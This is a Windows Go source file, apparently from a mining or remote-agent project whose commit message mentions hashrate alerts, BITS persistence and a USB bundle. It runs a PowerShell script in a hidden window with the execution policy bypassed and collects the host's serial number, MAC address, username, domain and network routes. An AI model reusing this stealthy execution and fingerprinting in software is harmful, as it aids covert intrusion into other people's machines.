- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
265 lines
6.0 KiB
Go
265 lines
6.0 KiB
Go
//go:build windows
|
|
|
|
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"os"
|
|
"os/user"
|
|
"strings"
|
|
)
|
|
|
|
const sysCheckWindowsScript = `
|
|
$ErrorActionPreference = 'SilentlyContinue'
|
|
$o = [ordered]@{}
|
|
|
|
# Identity
|
|
try {
|
|
$cs = Get-CimInstance Win32_ComputerSystem
|
|
$o.manufacturer = $cs.Manufacturer
|
|
$o.model = $cs.Model
|
|
$o.domain = $cs.Domain
|
|
$o.computer_name = $env:COMPUTERNAME
|
|
$o.total_ram_gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 2)
|
|
} catch {}
|
|
|
|
try {
|
|
$bios = Get-CimInstance Win32_BIOS
|
|
$o.serial = $bios.SerialNumber
|
|
$o.bios_version = $bios.SMBIOSBIOSVersion
|
|
} catch {}
|
|
|
|
try {
|
|
$o.cpus = @(Get-CimInstance Win32_Processor | ForEach-Object {
|
|
[ordered]@{
|
|
name = $_.Name
|
|
cores = [int]$_.NumberOfCores
|
|
logical = [int]$_.NumberOfLogicalProcessors
|
|
max_mhz = [int]$_.MaxClockSpeed
|
|
current_mhz = [int]$_.CurrentClockSpeed
|
|
}
|
|
})
|
|
} catch {}
|
|
|
|
try {
|
|
$o.gpus = @(Get-CimInstance Win32_VideoController | ForEach-Object {
|
|
[ordered]@{
|
|
name = $_.Name
|
|
driver = $_.DriverVersion
|
|
vram_mb = if ($_.AdapterRAM -and $_.AdapterRAM -gt 0) { [int]($_.AdapterRAM / 1MB) } else { 0 }
|
|
}
|
|
})
|
|
} catch {}
|
|
|
|
try {
|
|
$o.disks = @(Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object {
|
|
$freePct = if ($_.Size -gt 0) { [int](($_.FreeSpace / $_.Size) * 100) } else { 0 }
|
|
[ordered]@{
|
|
mount = $_.DeviceID
|
|
label = $_.VolumeName
|
|
fs_type = $_.FileSystem
|
|
total_gb = [math]::Round($_.Size / 1GB, 2)
|
|
free_gb = [math]::Round($_.FreeSpace / 1GB, 2)
|
|
free_pct = $freePct
|
|
}
|
|
})
|
|
} catch {}
|
|
|
|
try {
|
|
$os = Get-CimInstance Win32_OperatingSystem
|
|
$o.uptime_hours = [math]::Round(((Get-Date) - $os.LastBootUpTime).TotalHours, 1)
|
|
$o.timezone = (Get-TimeZone).Id
|
|
} catch {}
|
|
|
|
try {
|
|
$gw = Get-NetRoute -DestinationPrefix '0.0.0.0/0' -ErrorAction SilentlyContinue |
|
|
Sort-Object RouteMetric | Select-Object -First 1
|
|
if ($gw) { $o.default_gateway = $gw.NextHop }
|
|
} catch {}
|
|
|
|
try {
|
|
$routes = Get-NetRoute -AddressFamily IPv4 -ErrorAction SilentlyContinue |
|
|
Select-Object -First 24 DestinationPrefix, NextHop, InterfaceAlias, RouteMetric |
|
|
Format-Table -AutoSize | Out-String -Width 200
|
|
$o.routes_summary = $routes.Trim()
|
|
} catch {}
|
|
|
|
$o | ConvertTo-Json -Depth 5 -Compress
|
|
`
|
|
|
|
func collectSysCheckPlatform(r *FullSysCheckReport) {
|
|
out, err := silentCombinedOutput(
|
|
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
|
sysCheckWindowsScript,
|
|
)
|
|
if err != nil {
|
|
r.ProbeErrors = append(r.ProbeErrors, "windows hardware probe: "+err.Error())
|
|
} else {
|
|
parseWindowsSysCheckJSON(r, string(out))
|
|
}
|
|
|
|
if r.Identity == nil {
|
|
r.Identity = &SysCheckIdentity{}
|
|
}
|
|
if u, err := user.Current(); err == nil {
|
|
r.Identity.Username = u.Username
|
|
}
|
|
r.Identity.MACAddress = primaryMACAddress()
|
|
if r.Environment == nil {
|
|
r.Environment = &SysCheckEnvironment{}
|
|
}
|
|
r.Environment.TempDir = os.Getenv("TEMP")
|
|
r.Environment.HomeDir = os.Getenv("USERPROFILE")
|
|
}
|
|
|
|
func parseWindowsSysCheckJSON(r *FullSysCheckReport, raw string) {
|
|
raw = strings.TrimSpace(raw)
|
|
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
|
raw = raw[idx:]
|
|
}
|
|
var m map[string]interface{}
|
|
if json.Unmarshal([]byte(raw), &m) != nil {
|
|
return
|
|
}
|
|
|
|
hw := &SysCheckHardware{}
|
|
if v, ok := m["manufacturer"].(string); ok {
|
|
hw.Manufacturer = v
|
|
}
|
|
if v, ok := m["model"].(string); ok {
|
|
hw.Model = v
|
|
}
|
|
if v, ok := m["serial"].(string); ok {
|
|
hw.Serial = v
|
|
}
|
|
if v, ok := m["bios_version"].(string); ok {
|
|
hw.BIOSVersion = v
|
|
}
|
|
if v, ok := m["total_ram_gb"].(float64); ok {
|
|
hw.MemoryGB = v
|
|
}
|
|
if v, ok := m["uptime_hours"].(float64); ok {
|
|
hw.UptimeHours = v
|
|
}
|
|
hw.CPUs = parseCPUList(m["cpus"])
|
|
hw.GPUs = parseGPUList(m["gpus"])
|
|
hw.Disks = parseDiskList(m["disks"])
|
|
r.Hardware = hw
|
|
|
|
if r.Identity == nil {
|
|
r.Identity = &SysCheckIdentity{}
|
|
}
|
|
if v, ok := m["domain"].(string); ok {
|
|
r.Identity.Domain = v
|
|
}
|
|
if v, ok := m["computer_name"].(string); ok {
|
|
r.Identity.ComputerName = v
|
|
}
|
|
|
|
if r.Network == nil {
|
|
r.Network = &SysCheckNetwork{}
|
|
}
|
|
if v, ok := m["default_gateway"].(string); ok {
|
|
r.Network.DefaultGateway = v
|
|
}
|
|
if v, ok := m["routes_summary"].(string); ok {
|
|
r.Network.RoutesSummary = v
|
|
}
|
|
|
|
if r.Environment == nil {
|
|
r.Environment = &SysCheckEnvironment{}
|
|
}
|
|
if v, ok := m["timezone"].(string); ok {
|
|
r.Environment.Timezone = v
|
|
}
|
|
}
|
|
|
|
func parseCPUList(v interface{}) []SysCheckCPU {
|
|
arr, ok := v.([]interface{})
|
|
if !ok {
|
|
return nil
|
|
}
|
|
var out []SysCheckCPU
|
|
for _, item := range arr {
|
|
obj, ok := item.(map[string]interface{})
|
|
if !ok {
|
|
continue
|
|
}
|
|
c := SysCheckCPU{Name: mapStr(obj, "name")}
|
|
if n, ok := obj["cores"].(float64); ok {
|
|
c.Cores = int(n)
|
|
}
|
|
if n, ok := obj["logical"].(float64); ok {
|
|
c.Logical = int(n)
|
|
}
|
|
if n, ok := obj["max_mhz"].(float64); ok {
|
|
c.MaxMHz = int(n)
|
|
}
|
|
if n, ok := obj["current_mhz"].(float64); ok {
|
|
c.CurrentMHz = int(n)
|
|
}
|
|
out = append(out, c)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func parseGPUList(v interface{}) []SysCheckGPU {
|
|
arr, ok := v.([]interface{})
|
|
if !ok {
|
|
return nil
|
|
}
|
|
var out []SysCheckGPU
|
|
for _, item := range arr {
|
|
obj, ok := item.(map[string]interface{})
|
|
if !ok {
|
|
continue
|
|
}
|
|
g := SysCheckGPU{
|
|
Name: mapStr(obj, "name"),
|
|
Driver: mapStr(obj, "driver"),
|
|
}
|
|
if n, ok := obj["vram_mb"].(float64); ok {
|
|
g.VRAM_MB = int(n)
|
|
}
|
|
out = append(out, g)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func parseDiskList(v interface{}) []SysCheckDisk {
|
|
arr, ok := v.([]interface{})
|
|
if !ok {
|
|
return nil
|
|
}
|
|
var out []SysCheckDisk
|
|
for _, item := range arr {
|
|
obj, ok := item.(map[string]interface{})
|
|
if !ok {
|
|
continue
|
|
}
|
|
d := SysCheckDisk{
|
|
Mount: mapStr(obj, "mount"),
|
|
Label: mapStr(obj, "label"),
|
|
FSType: mapStr(obj, "fs_type"),
|
|
}
|
|
if n, ok := obj["total_gb"].(float64); ok {
|
|
d.TotalGB = n
|
|
}
|
|
if n, ok := obj["free_gb"].(float64); ok {
|
|
d.FreeGB = n
|
|
}
|
|
if n, ok := obj["free_pct"].(float64); ok {
|
|
d.FreePct = int(n)
|
|
}
|
|
out = append(out, d)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func mapStr(m map[string]interface{}, key string) string {
|
|
if v, ok := m[key].(string); ok {
|
|
return v
|
|
}
|
|
return ""
|
|
}
|